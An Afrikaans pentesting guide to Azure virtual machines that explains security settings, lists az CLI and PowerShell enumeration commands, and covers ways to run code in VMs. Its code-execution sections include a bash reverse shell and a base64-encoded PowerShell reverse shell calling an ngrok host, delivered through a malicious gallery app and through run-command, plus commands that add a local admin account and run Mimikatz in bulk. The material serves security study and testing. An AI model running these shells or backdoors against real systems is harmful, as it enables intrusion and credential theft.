Azure netwerke bevat verskillende entiteite en maniere om dit te konfigureer. Jy kan 'n kort beskrywing,voorbeelde en enumerasie opdragte van die verskillende Azure netwerk entiteite vind in:
Azure Virtuele Masjiene (VMs) is buigsaam, op aanvraag cloud-gebaseerde bedieners wat jou toelaat om Windows of Linux bedryfstelsels te draai. Hulle stel jou in staat om toepassings en werklas te ontplooi sonder om fisiese hardeware te bestuur. Azure VMs kan gekonfigureer word met verskillende CPU, geheue, en stoor opsies om spesifieke behoeftes te vervul en te integreer met Azure dienste soos virtuele netwerke, stoor, en sekuriteitsinstrumente.
Sekuriteitskonfigurasies
Beschikbaarheidsgebiede: Beschikbaarheidsgebiede is afsonderlike groepe datacenters binne 'n spesifieke Azure streek wat fisies geskei is om die risiko te minimaliseer dat verskeie gebiede deur plaaslike onderbrekings of rampe geraak word.
Sekuriteitstipe:
Standaard Sekuriteit: Dit is die standaard sekuriteitstipe wat nie enige spesifieke konfigurasie vereis nie.
Vertroude Ontplooiing: Hierdie sekuriteitstipe verbeter beskerming teen opstartkits en kernvlak malware deur Secure Boot en Virtual Trusted Platform Module (vTPM) te gebruik.
Vertroulike VMs: Bo-op 'n vertroude ontplooiing, bied dit hardeware-gebaseerde isolasie tussen die VM, hypervisor en gasheerbestuur, verbeter die skyfversleuteling en meer.
Verifikasie: Standaard word 'n nuwe SSH-sleutel gegenereer, alhoewel dit moontlik is om 'n publieke sleutel te gebruik of 'n vorige sleutel te gebruik en die gebruikersnaam is standaard azureuser. Dit is ook moontlik om te konfigureer om 'n wagwoord te gebruik.
VM skyfversleuteling: Die skyf is standaard versleuteld wanneer dit rus met 'n platform bestuurde sleutel.
Dit is ook moontlik om Versleuteling by die gasheer in te skakel, waar die data in die gasheer versleuteld sal word voordat dit na die stoor diens gestuur word, wat 'n einde-tot-einde versleuteling tussen die gasheer en die stoor diens verseker (docs).
NIC netwerk sekuriteitsgroep:
Geen: Basies elke poort oopmaak
Basies: Laat toe om die inkomende poorte HTTP (80), HTTPS (443), SSH (22), RDP (3389) maklik oop te maak
Geavanceerd: Kies 'n sekuriteitsgroep
Rugsteun: Dit is moontlik om Standaard rugsteun (een per dag) en Verbeterde (meerdere per dag) in te skakel
Patching orkestrasie opsies: Dit stel in staat om outomaties opdaterings in die VMs toe te pas volgens die geselekteerde beleid soos beskryf in die docs.
Waarskuwings: Dit is moontlik om outomaties waarskuwings per e-pos of mobiele toepassing te ontvang wanneer iets in die VM gebeur. Standaard reëls:
Persentasie CPU is groter as 80%
Beskikbare Geheue Bytes is minder as 1GB
Data Skywe IOPS Verbruikte Persentasie is groter as 95%
OS IOPS Verbruikte Persentasie is groter as 95%
Netwerk in Totaal is groter as 500GB
Netwerk Uit Totaal is groter as 200GB
VmAvailabilityMetric is minder as 1
Gesondheidsmonitor: Standaard kontrole protokol HTTP op poort 80
Slotte: Dit laat toe om 'n VM te sluit sodat dit net gelees kan word (ReadOnly slot) of dit kan gelees en opgedateer word maar nie verwyder word nie (CanNotDelete slot).
Meeste VM verwante hulpbronne ondersteun ook slotte soos skywe, snappings...
Slotte kan ook toegepas word op hulpbron groep en subskripsie vlakke
Skywe & snappings
Dit is moontlik om 'n skyf aan 2 of meer VMs te koppel
Standaard is elke skyf versleuteld met 'n platform sleutel.
Dieselfde in snappings
Standaard is dit moontlik om die skyf van alle netwerke te deel, maar dit kan ook beperk word tot slegs sekere privaat toegang of om publieke en private toegang heeltemal te deaktiveer.
Dieselfde in snappings
Dit is moontlik om 'n SAS URI (maks 60 dae) te genereer om die skyf te eksporteer, wat gekonfigureer kan word om verifikasie te vereis of nie
Dieselfde in snappings
# List all disksazdisklist--outputtable# Get info about a diskazdiskshow--name<disk-name>--resource-group<rsc-group>
Beelde, Galery Beelde & Herstelpunte
'n VM beeld is 'n sjabloon wat die bedryfstelsel, toepassingsinstellings en lêerstelsel bevat wat nodig is om 'n nuwe virtuele masjien (VM) te skep. Die verskil tussen 'n beeld en 'n skyf-snapshot is dat 'n skyf-snapshot 'n lees-alleen, punt-in-tyd kopie van 'n enkele bestuurde skyf is, wat hoofsaaklik vir rugsteun of probleemoplossing gebruik word, terwyl 'n beeld meerdere skywe kan bevat en ontwerp is om as 'n sjabloon te dien vir die skep van nuwe VM's.
Beelde kan bestuur word in die Beelde afdeling van Azure of binne Azure rekenaar galerye wat dit moontlik maak om weergawe te genereer en die beeld oor huurders te deel of selfs dit publiek te maak.
'n herstelpunt stoor die VM-konfigurasie en punt-in-tyd toepassings-konsistente snapshots van al die bestuurde skywe wat aan die VM gekoppel is. Dit is verwant aan die VM en die doel daarvan is om daardie VM te kan herstel na hoe dit was in daardie spesifieke punt in tyd.
# Shared Image Galleries | Compute Galleries## List all galleries and get info about oneazsiglist--outputtableazsigshow--gallery-name<name>--resource-group<rsc-group>## List all community galleriesazsiglist-community--outputtable## List galleries shaerd with meazsiglist-shared--location<location>--outputtable## List all image definitions in a gallery and get info about oneazsigimage-definitionlist--gallery-name<name>--resource-group<rsc-group>--outputtableazsigimage-definitionshow--gallery-image-definition<name>--gallery-name<gallery-name>--resource-group<rsc-group>## List all the versions of an image definition in a galleryazsigimage-versionlist--gallery-image-name<image-name>--gallery-name<gallery-name>--resource-group<rsc-group--outputtable## List all VM applications inside a galleryazsiggallery-applicationlist--gallery-name<gallery-name>--resource-group<res-group>--outputtable# Images# List all managed images in your subscriptionazimagelist--outputtable# Restore points## List all restore points and get info about 1azrestore-pointcollectionlist-all--outputtableazrestore-pointcollectionshow--collection-name<collection-name>--resource-group<rsc-group>
Azure Site Recovery
Van die docs: Site Recovery help om besigheidskontinuitiet te verseker deur besigheidsprogramme en werklas te laat loop tydens onderbrekings. Site Recovery repliceer werklas wat op fisiese en virtuele masjiene (VM's) draai van 'n primêre plek na 'n sekondêre ligging. Wanneer 'n onderbreking by jou primêre plek plaasvind, kan jy oor na 'n sekondêre ligging, en toegang tot programme van daar. Nadat die primêre ligging weer aan die gang is, kan jy terugkeer na dit.
Azure Bastion
Azure Bastion stel veilige en naatlose Remote Desktop Protocol (RDP) en Secure Shell (SSH) toegang tot jou virtuele masjiene (VM's) direk deur die Azure Portal of via 'n jump box. Deur die behoefte aan publieke IP adresse op jou VM's te verwyder.
Die Bastion ontplooi 'n subnet genaamd AzureBastionSubnet met 'n /26 netmask in die VNet waarin dit moet werk. Dan, dit laat toe om verbinding te maak met interne VM's deur die blaaiers met behulp van RDP en SSH en vermy om poorte van die VM's aan die Internet bloot te stel. Dit kan ook as 'n jump host werk.
Om al die Azure Bastion Hosts in jou subskripsie te lys en met VM's deur hulle te verbind, kan jy die volgende opdragte gebruik:
# List bastionsaznetworkbastionlist-otable# Connect via SSH through bastionaznetworkbastionssh \--name MyBastion \--resource-group MyResourceGroup \--target-resource-id /subscriptions/12345678-1234-1234-1234-123456789abc/resourceGroups/MyResourceGroup/providers/Microsoft.Compute/virtualMachines/MyVM \--auth-type ssh-key \--username azureuser \--ssh-key ~/.ssh/id_rsa# Connect via RDP through bastionaznetworkbastionrdp \--name <BASTION_NAME> \--resource-group <RESOURCE_GROUP> \--target-resource-id /subscriptions/<SUBSCRIPTION_ID>/resourceGroups/<RESOURCE_GROUP>/providers/Microsoft.Compute/virtualMachines/<VM_NAME> \--auth-type password \--username <VM_USERNAME> \--password <VM_PASSWORD>
Metadata
Die Azure Instance Metadata Service (IMDS) verskaf inligting oor lopende virtuele masjieninstansies om te help met hul bestuur en konfigurasie. Dit bied besonderhede soos die SKU, stoor, netwerk konfigurasies, en inligting oor komende onderhoudsgeleenthede via REST API beskikbaar by die nie-routable IP adres 169.254.169.254, wat slegs vanaf binne die VM toeganklik is. Kommunikasie tussen die VM en IMDS bly binne die gasheer, wat veilige toegang verseker. Wanneer daar na IMDS gevra word, moet HTTP-kliënte binne die VM web-proxies omseil om behoorlike kommunikasie te verseker.
Boonop, om die metadata-eindpunt te kontak, moet die HTTP-versoek die koptekst Metadata: true hê en mag nie die koptekst X-Forwarded-For hê nie.
# VMs## List all VMs and get info about oneazvmlist--outputtableazvmshow--name<came>--resource-group<rsc-group>## List all available VM images and get info about oneazvmimagelist--all--outputtable# VM Extensions## List all VM extensionsazvmextensionimagelist--outputtable## Get extensions by publisherazvmextensionimagelist--publisher"Site24x7"--outputtable## List extensions in a VMazvmextensionlist-g<rsc-group>--vm-name<vm-name>## List managed identities in a VMazvmidentityshow \--resource-group <rsc-group> \--name <vm-name># Disks## List all disks and get info about oneazdisklist--outputtableazdiskshow--name<disk-name>--resource-group<rsc-group># Snapshots## List all galleries abd get info about oneazsiglist--outputtableazsigshow--gallery-name<name>--resource-group<rsc-group>## List all snapshots and get info about oneazsnapshotlist--outputtableazsnapshotshow--name<name>--resource-group<rsc-group># Shared Image Galleries | Compute Galleries## List all galleries and get info about oneazsiglist--outputtableazsigshow--gallery-name<name>--resource-group<rsc-group>## List all community galleriesazsiglist-community--outputtable## List galleries shared with meazsiglist-shared--location<location>--outputtable## List all image definitions in a gallery and get info about oneazsigimage-definitionlist--gallery-name<name>--resource-group<rsc-group>--outputtableazsigimage-definitionshow--gallery-image-definition<name>--gallery-name<gallery-name>--resource-group<rsc-group>## List all the versions of an image definition in a galleryazsigimage-versionlist--gallery-image-name<image-name>--gallery-name<gallery-name>--resource-group<rsc-group--outputtable## List all VM applications inside a galleryazsiggallery-applicationlist--gallery-name<gallery-name>--resource-group<res-group>--outputtable# Images# List all managed images in your subscriptionazimagelist--outputtable# Restore points## List all restore points and get info about 1azrestore-pointcollectionlist-all--outputtableazrestore-pointcollectionshow--collection-name<collection-name>--resource-group<rsc-group># Bastion## list all bastionsaznetworkbastionlist-otable# Network## List VNetsaznetworkvnetlist--query"[].{name:name, location:location, addressSpace:addressSpace}"## List subnets of a VNetaznetworkvnetsubnetlist--resource-group<ResourceGroupName>--vnet-name<VNetName>--query"[].{name:name, addressPrefix:addressPrefix}"-otable## List public IPsaznetworkpublic-iplist--outputtable## Get NSG rulesaznetworknsgrulelist--nsg-name<NSGName>--resource-group<ResourceGroupName>--query"[].{name:name, priority:priority, direction:direction, access:access, protocol:protocol, sourceAddressPrefix:sourceAddressPrefix, destinationAddressPrefix:destinationAddressPrefix, sourcePortRange:sourcePortRange, destinationPortRange:destinationPortRange}"-otable## Get NICs and subnets using this NSGaznetworknsgshow--nameMyLowCostVM-nsg--resource-groupResource_Group_1--query"{subnets: subnets, networkInterfaces: networkInterfaces}"## List all Nics & get info of a single oneaznetworkniclist--outputtableaznetworknicshow--name<name>--resource-group<rsc-group>## List Azure Firewallsaznetworkfirewalllist--query"[].{name:name, location:location, subnet:subnet, publicIp:publicIp}"-otable## Get network rules of a firewallaznetworkfirewallnetwork-rulecollectionlist--firewall-name<FirewallName>--resource-group<ResourceGroupName>--query"[].{name:name, rules:rules}"-otable## Get application rules of a firewallaznetworkfirewallapplication-rulecollectionlist--firewall-name<FirewallName>--resource-group<ResourceGroupName>--query"[].{name:name, rules:rules}"-otable## Get nat rules of a firewallaznetworkfirewallnat-rulecollectionlist--firewall-name<FirewallName>--resource-group<ResourceGroupName>--query"[].{name:name, rules:rules}"-otable## List Route Tablesaznetworkroute-tablelist--query"[].{name:name, resourceGroup:resourceGroup, location:location}"-otable## List routes for a tableaznetworkroute-tableroutelist--route-table-name<RouteTableName>--resource-group<ResourceGroupName>--query"[].{name:name, addressPrefix:addressPrefix, nextHopType:nextHopType, nextHopIpAddress:nextHopIpAddress}"-otable# Misc## List all virtual machine scale setsazvmsslist--outputtable## List all availability setsazvmavailability-setlist--outputtable## List all load balancersaznetworklblist--outputtable## List all storage accountsazstorageaccountlist--outputtable## List all custom script extensions on a specific VMazvmextensionlist--vm-name<vm-name>--resource-group<resource-group># Show boot diagnostics settings for a specific VMazvmboot-diagnosticsget-boot-log--name<vm-name>--resource-group<resource-group>## List all tags on virtual machinesazresourcelist--resource-type"Microsoft.Compute/virtualMachines"--query"[].{Name:name, Tags:tags}"--outputtable# List all available run commands for virtual machinesazvmrun-commandlist--outputtable
# Get readable VMsGet-AzVM| fl# Lis running VMsGet-AzureRmVM-status |where {$_.PowerState-EQ"VM running"} | select ResourceGroupName,NameGet-AzVM-Name <name>-ResourceGroupName <res_group_name>| fl *Get-AzVM-Name <name>-ResourceGroupName <res_group_name>| select -ExpandProperty NetworkProfile# Get iface and IP addressGet-AzNetworkInterface-Name <interface_name>Get-AzPublicIpAddress-Name <iface_public_ip_id>#Get installed extensionsGet-AzVMExtension-ResourceGroupName <res_group_name>-VMName <name>Get-AzVM| select -ExpandProperty NetworkProfile # Get name of network connector of VMGet-AzNetworkInterface-Name <name># Get info of network connector (like IP)
Kode-uitvoering in VM's
VM-uitbreidings
Azure VM-uitbreidings is klein toepassings wat post-implementasie konfigurasie en outomatisering take op Azure virtuele masjiene (VM's) bied.
Dit sal toelaat om arbitraire kode binne VM's uit te voer.
Die vereiste toestemming is Microsoft.Compute/virtualMachines/extensions/write.
Dit is moontlik om al die beskikbare uitbreidings te lys met:
# It takes some mins to runazvmextensionimagelist--outputtable# Get extensions by publisherazvmextensionimagelist--publisher"Site24x7"--outputtable
Dit is moontlik om aangepaste uitbreidings te loop wat aangepaste kode uitvoer:
Jy kan ook ander payloads uitvoer soos: powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add
Herstel wagwoord met behulp van die VMAccess uitbreiding
# Run VMAccess extension to reset the password$cred=Get-Credential# Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the passwordSet-AzVMAccessExtension-ResourceGroupName "<rsc-group>"-VMName "<vm-name>"-Name "myVMAccess"-Credential $cred
Relevante VM-uitbreidings
Die vereiste toestemming is steeds Microsoft.Compute/virtualMachines/extensions/write.
VMAccess-uitbreiding
Hierdie uitbreiding maak dit moontlik om die wagwoord te wysig (of te skep as dit nie bestaan nie) van gebruikers binne Windows VM's.
# Run VMAccess extension to reset the password$cred=Get-Credential# Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the passwordSet-AzVMAccessExtension-ResourceGroupName "<rsc-group>"-VMName "<vm-name>"-Name "myVMAccess"-Credential $cred
DesiredConfigurationState (DSC)
Dit is 'n VM-uitbreiding wat aan Microsoft behoort en PowerShell DSC gebruik om die konfigurasie van Azure Windows VMs te bestuur. Daarom kan dit gebruik word om arbitraire opdragte in Windows VMs deur hierdie uitbreiding uit te voer:
Dit is 'n VM-uitbreiding wat die uitvoering van runbooks in VM's vanuit 'n outomatiseringsrekening moontlik maak. Vir meer inligting, kyk na die Outomatiseringsrekeninge diens.
VM Toepassings
Dit is pakkette met al die toepassingdata en installasie- en de-installasieskripte wat gebruik kan word om maklik toepassings in VM's by te voeg en te verwyder.
# List all galleries in resource groupazsiglist--resource-group<res-group>--outputtable# List all apps in a falleryazsiggallery-applicationlist--gallery-name<gallery-name>--resource-group<res-group>--outputtable
Hierdie is die paaie waar die toepassings binne die lêerstelsel afgelaai word:
Dit is moontlik om individuele toepassings en galerye met ander subskripsies of huurders te deel. Wat baie interessant is omdat dit 'n aanvaller in staat kan stel om 'n agterdeur in 'n toepassing te plaas en na ander subskripsies en huurders te pivot.
Maar daar is nie 'n "markplek" vir vm toepassings soos daar is vir uitbreidings nie.
Eksploitasiem voorbeeld om arbitrêre opdragte uit te voer:
# Create gallery (if the isn't any)azsigcreate--resource-groupmyResourceGroup \--gallery-name myGallery--location"West US 2"# Create application containerazsiggallery-applicationcreate \--application-name myReverseShellApp \--gallery-name myGallery \--resource-group <rsc-group> \--os-type Linux \--location "West US 2"# Create app version with the rev shell## In Package file link just add any link to a blobl storage fileazsiggallery-applicationversioncreate \--version-name 1.0.2 \--application-name myReverseShellApp \--gallery-name myGallery \--location "West US 2" \--resource-group <rsc-group> \--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \--install-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \--remove-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \--update-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'"# Install the app in a VM to execute the rev shell## Use the ID given in the previous outputazvmapplicationset \--resource-group <rsc-group> \--name <vm-name> \--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \--treat-deployment-as-failure true
# Create gallery (if the isn't any)azsigcreate--resource-group<rsc-group> \--gallery-name myGallery--location"West US 2"# Create application containerazsiggallery-applicationcreate \--application-name myReverseShellAppWin \--gallery-name myGallery \--resource-group <rsc-group> \--os-type Windows \--location "West US 2"# Get encoded reverse shellecho -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64
# Create app version with the rev shell## In Package file link just add any link to a blobl storage fileexport encodedCommand="JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="
azsiggallery-applicationversioncreate \--version-name 1.0.0 \--application-name myReverseShellAppWin \--gallery-name myGallery \--location "West US 2" \--resource-group <rsc-group> \--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \--install-command "powershell.exe -EncodedCommand $encodedCommand" \--remove-command "powershell.exe -EncodedCommand $encodedCommand" \--update-command "powershell.exe -EncodedCommand $encodedCommand"# Install the app in a VM to execute the rev shell## Use the ID given in the previous outputazvmapplicationset \--resource-group <rsc-group> \--name deleteme-win4 \--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellAppWin/versions/1.0.0 \--treat-deployment-as-failure true
Gebruikersdata
Dit is volhardende data wat enige tyd van die metadata-eindpunt verkry kan word. Let daarop dat gebruikersdata in Azure verskil van AWS en GCP omdat as jy 'n skrip hier plaas, dit nie standaard uitgevoer word nie.
Pasgemaakte data
Dit is moontlik om 'n paar data aan die VM deur te gee wat in verwagte paaie gestoor sal word:
In Windows word pasgemaakte data in %SYSTEMDRIVE%\AzureData\CustomData.bin as 'n binêre lêer geplaas en dit word nie verwerk nie.
In Linux is dit gestoor in /var/lib/waagent/ovf-env.xml en nou is dit gestoor in /var/lib/waagent/CustomData/ovf-env.xml
Linux-agent: Dit verwerk nie pasgemaakte data standaard nie, 'n pasgemaakte beeld met die data geaktiveer is nodig
cloud-init: Standaard verwerk dit pasgemaakte data en hierdie data mag in verskeie formate wees. Dit kan 'n skrip maklik uitvoer deur net die skrip in die pasgemaakte data te stuur.
Ek het probeer dat beide Ubuntu en Debian die skrip uitvoer wat jy hier plaas.
Dit is ook nie nodig om gebruikersdata te aktiveer vir dit om uitgevoer te word nie.
#!/bin/shecho"Hello World">/var/tmp/output.txt
Voer Opdrag Uit
Dit is die mees basiese mechanisme wat Azure bied om arbitraire opdragte in VMs uit te voer. Die nodige toestemming is Microsoft.Compute/virtualMachines/runCommand/action.
# The permission allowing this is Microsoft.Compute/virtualMachines/runCommand/action# Execute a rev shellazvmrun-commandinvoke \--resource-group Research \--name juastavm \--command-id RunPowerShellScript \--scripts @revshell.ps1## Get encoded reverse shellecho -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64
## Create app version with the rev shell## In Package file link just add any link to a blobl storage fileexport encodedCommand="JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="
# The content ofecho"powershell.exe -EncodedCommand $encodedCommand">revshell.ps1# Try to run in every machineImport-moduleMicroBurst.psm1Invoke-AzureRmVMBulkCMD-ScriptMimikatz.ps1-Verbose-outputOutput.txt